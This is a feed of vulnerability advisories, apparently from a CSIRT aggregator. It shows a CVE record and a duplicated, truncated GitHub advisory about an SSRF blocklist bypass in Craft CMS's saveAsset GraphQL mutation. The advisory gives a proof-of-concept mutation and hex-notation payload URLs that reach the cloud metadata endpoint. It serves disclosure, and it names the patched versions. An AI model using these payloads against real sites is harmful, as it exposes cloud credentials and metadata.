https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 17 Oct 2026 05:26:06 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-267786 EUVD-2026-267786 https://cve.radiocsirt.org/vuln/euvd-2026-267786 https://cve.radiocsirt.org/vuln/fkie_cve-2026-25494 <p>Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.</p> <p>Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-25494 https://cve.radiocsirt.org/vuln/ghsa-m5r2-8p9x-hp5m <p><strong>Affected:</strong> Packagist: craftcms/cms</p> <p>I observed a [recent commit](https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af) intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.</p> <p>--- ## Summary</p> <p>The `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.</p> <p>--- ## Proof of Concept 1. Send the following GraphQL mutation: ```graphql mutation { save_images_Asset(_file: { url: &#34;http://169.254.0xa9fe/latest/meta-data/&#34; filename: &#34;metadata.txt&#34; }) { id } } ``` 2. The IP validation passes (hex notation not recognized as IP) 3. Guzzle resolves `169.254.0xa9fe` to `169.254.169.254` 4. Cloud metadata is fetched and saved</p> <p>### Alternative Payloads | Payload | Notation | Resolves To | |---------|----------|-------------| | `http://169.254.0xa9fe/` | Mixed (decimal + hex) | 169.254.169.254 | | `http://0xa9.0xfe.0xa9.0xfe/` | Full hex dotted | 169.254.169.254 | | `http://0xa9fea9fe/` | Single hex integer | 169.254.169.254 |</p> <p>--- ## Technical Details</p> <p>**File:** `src…</p> <p><strong>Affected:</strong> Packagist: craftcms/cms</p> <p>I observed a [recent commit](https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af) intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.</p> <p>--- ## Summary</p> <p>The `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.</p> <p>--- ## Proof of Concept 1. Send the following GraphQL mutation: ```graphql mutation { save_images_Asset(_file: { url: &#34;http://169.254.0xa9fe/latest/meta-data/&#34; filename: &#34;metadata.txt&#34; }) { id } } ``` 2. The IP validation passes (hex notation not recognized as IP) 3. Guzzle resolves `169.254.0xa9fe` to `169.254.169.254` 4. Cloud metadata is fetched and saved</p> <p>### Alternative Payloads | Payload | Notation | Resolves To | |---------|----------|-------------| | `http://169.254.0xa9fe/` | Mixed (decimal + hex) | 169.254.169.254 | | `http://0xa9.0xfe.0xa9.0xfe/` | Full hex dotted | 169.254.169.254 | | `http://0xa9fea9fe/` | Single hex integer | 169.254.169.254 |</p> <p>--- ## Technical Details</p> <p>**File:** `src…</p> https://cve.radiocsirt.org/vuln/ghsa-m5r2-8p9x-hp5m